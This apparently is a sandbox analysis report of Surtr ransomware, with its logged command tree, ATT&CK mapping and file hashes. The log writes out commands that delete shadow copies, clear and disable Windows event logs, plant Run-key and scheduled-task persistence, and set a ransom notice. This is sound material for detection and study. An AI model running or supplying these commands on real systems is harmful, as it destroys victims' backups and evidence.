C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=V:\ /on=V:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=W:\ /on=W:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=X:\ /on=X:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Y:\ /on=Y:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=A:\ /on=A:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\PublicData_d75kolyhzzoec2.surt" "%TEMP%\Service\PublicData_d75kolyhzzoec2.surt"2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Z:\ /on=Z:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded2⤵
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=B:\ /on=B:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\PrivateData_d75kolyhzzoec2.surt" "%TEMP%\Service\PrivateData_d75kolyhzzoec2.surt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "C:\ProgramData\Service"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +R /S "C:\ProgramData\Service"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +R /S "%TEMP%\Service"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +R /S "C:\Users\Admin\AppData\Local\Temp\Service"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos1 /TR "C:\ProgramData\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN svchos2 /TR "C:\ProgramData\Service\Surtr.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "C:\ProgramData\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"2⤵
- Drops startup file
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f2⤵
-
C:\Windows\SysWOW64\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d C:\ProgramData\Service\Surtr.exe /f3⤵
- Adds Run key to start application
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe sl Security /e:false2⤵
-
C:\Windows\system32\wevtutil.exewevtutil.exe sl Security /e:false3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /SC ONLOGON /TN exp /TR C:\Windows\explorer.exe /F3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "Tribute to the REvil <3" /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "Tribute to the REvil <3" /f3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Unfortunately , ALL Your Important Files Have Been Encrypted and Stolen By Surtr Ransomware. Find SURTR_README files and follow instructions." /f2⤵
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "Unfortunately , ALL Your Important Files Have Been Encrypted and Stolen By Surtr Ransomware. Find SURTR_README files and follow instructions." /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "C:\ProgramData\Service\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\ProgramData\Service\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%TEMP%\Service\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Local\Temp\Service\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Surtr.exe"3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"3⤵
- Drops startup file
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h +s C:\ProgramData\Service\SurtrBackGround.jpg3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\ProgramData\Service\SurtrIcon.ico2⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h C:\ProgramData\Service\SurtrIcon.ico3⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr /va /f2⤵
-
C:\Windows\SysWOW64\reg.exereg DELETE HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr /va /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr\UserChoice /v ProgId /t REG_SZ /d surtr_auto_file /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.surtr\UserChoice /v ProgId /t REG_SZ /d surtr_auto_file /f3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\.surtr /ve /t REG_SZ /d surtr_auto_file /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CLASSES_ROOT\.surtr /ve /t REG_SZ /d surtr_auto_file /f3⤵
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg ADD HKEY_CLASSES_ROOT\surtr_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f2⤵
-
C:\Windows\SysWOW64\reg.exereg ADD HKEY_CLASSES_ROOT\surtr_auto_file\DefaultIcon /ve /t REG_SZ /d "C:\ProgramData\Service\SurtrIcon.ico" /f3⤵
- Modifies registry class
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=Q:\ /on=Q:\ /maxsize=401MB1⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=S:\ /on=S:\ /maxsize=401MB1⤵
- Enumerates connected drives
- Interacts with shadow copies
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Hidden Files and Directories
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
1File Deletion
3Hidden Files and Directories
1Indicator Removal on Host
1Modify Registry
3Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.1MB
MD5ffc6b559c24b8d82afcb5c01bb5619d9
SHA18e068e9c486769716d9685f85687b531ab3a88cf
SHA256b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0
SHA51248cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191
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Filesize
14B
MD5555b400a141d70433630f8125507a0d1
SHA1280193e8688c675013bcba6b109874b56a7b67ef
SHA25625b82110ba8d12862492c7bfbb40463d9fcee5285aac5d5976ea6c4eb885721f
SHA51209accde8b039b06ef33ed534b90cf1fce963d1a0c448f8be4e14a8bfcaae85e54ee0cf540af65a86ffbaecd42a6f75bfa4e705927fbe492785dcaacb171c416f
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Filesize
1KB
MD5b0e51fb7d359a83bfe07b5551da5bcad
SHA1b9de5eb02834b0c6b80e62e136c09cf5b9ee326a
SHA256d32227b4cfed1b289db8754b06847dcb3d77449bf171c0660512267438fbab76
SHA512c31940778e3d48df4a674eac1f0139330bbd966c93cae5601ddbfd4686df1abc9844e4459105baed325fc6c8e473187a2f3b7fbef9f370967283ee4669db5861
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Filesize
204B
MD50cef6b22e59d5b006668e0bfae7c0f4a
SHA12b213b4c842217751c1082d794fa756273bf9d8c
SHA256357ff2ecd974d28aae8ca1c062dd97a0b7da6c060674fdaa023143df38224bc1
SHA51258c5e758614f398e83d28371d363d1a218f160f7ed66667f5a5ff93593189b0345f23b303d14b0a2285343044fc1d0612dc6bddebc3a4a09c9f62c7410b9ca06
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Filesize
8KB
MD5c98bcf47b31bd83a10b321f4c74c372e
SHA1ac2937efa6d577d1a635fb58111ec1004587c13e
SHA256fb11cda25dbc40b7fb2f0adbf4872937c3c663db2622532ad5dbee248e2a2639
SHA5123cc3c3b7a5af4320b471e66985b7fbb97632dbb24b392e1061b2aa344f3c1848883cb91150f9007bee57dd838c69cb8317d13c1c5b5d17dfd8e03a7eb8f0e163
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Filesize
613B
MD50d64d020f9991706fdf42e8c5b84e001
SHA15ee54e9c94cd354f98922727638bbc65fd510200
SHA256a723a74ad5ceac7a2ea34a6964ddd8d2f9bc137c2da2fe0e45bb48731c45796d
SHA512627df65d832ae9e90abfef364963d159c45f6bfd7ba97a2c32fbf574a783e8ce4555573ebe1e3bdb64ddb73527ebea60717076227d470b998a63b6814294f539
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Filesize
1.1MB
MD5ffc6b559c24b8d82afcb5c01bb5619d9
SHA18e068e9c486769716d9685f85687b531ab3a88cf
SHA256b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0
SHA51248cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191
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Filesize
30KB
MD533f7fc301be9d39fcb474fb8b1e5f42e
SHA1a3bf9ddb2ac53bc4b12b249825189a7c7a07b766
SHA25699cd579177b2480dab17d125bcabe16f503b467208c2568c5564d13ffb457d03
SHA5126cf0f2a65cc9d001087b8a685f1199ece6cd6e25f91b421a5a176ed8a1578e9b5da5fd4cd1708fc3639c30f1724e238ad6d4a2b09d45b53737468b31ddf50d00
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Filesize
78KB
MD53257eb22824b57fe3d58074bca3128d3
SHA16f60ff4e7419ccdbc3d0dedc8474a0722d7d0a97
SHA2565afba257ff405ceb733b2b6f270a16c8e0fffe92e6c91c6554a2ea4706e8c3ad
SHA5127b41c8714aa64bd5a3a9e782a5bda8875882182863c9dd11273c168ef2b064f2c31c6c0e9d30f9db7ff99dae0542773f9a8ef995830c427d167120711ab4878d
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Filesize
1.1MB
MD5ffc6b559c24b8d82afcb5c01bb5619d9
SHA18e068e9c486769716d9685f85687b531ab3a88cf
SHA256b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0
SHA51248cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191
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Filesize
1.1MB
MD5ffc6b559c24b8d82afcb5c01bb5619d9
SHA18e068e9c486769716d9685f85687b531ab3a88cf
SHA256b88fe97196d3ea799b1e708ab452e9a61f9380a8b27a82f03575f5f046b036d0
SHA51248cf29ecbf184f9d96b9db95190657604c7fb9570046abbeba70d99c6748afbea5f698bb4bb91b1b9b3b3ab7abc56c36a3230aa20c58a99269fe0a4884522191
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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Filesize
1.6MB
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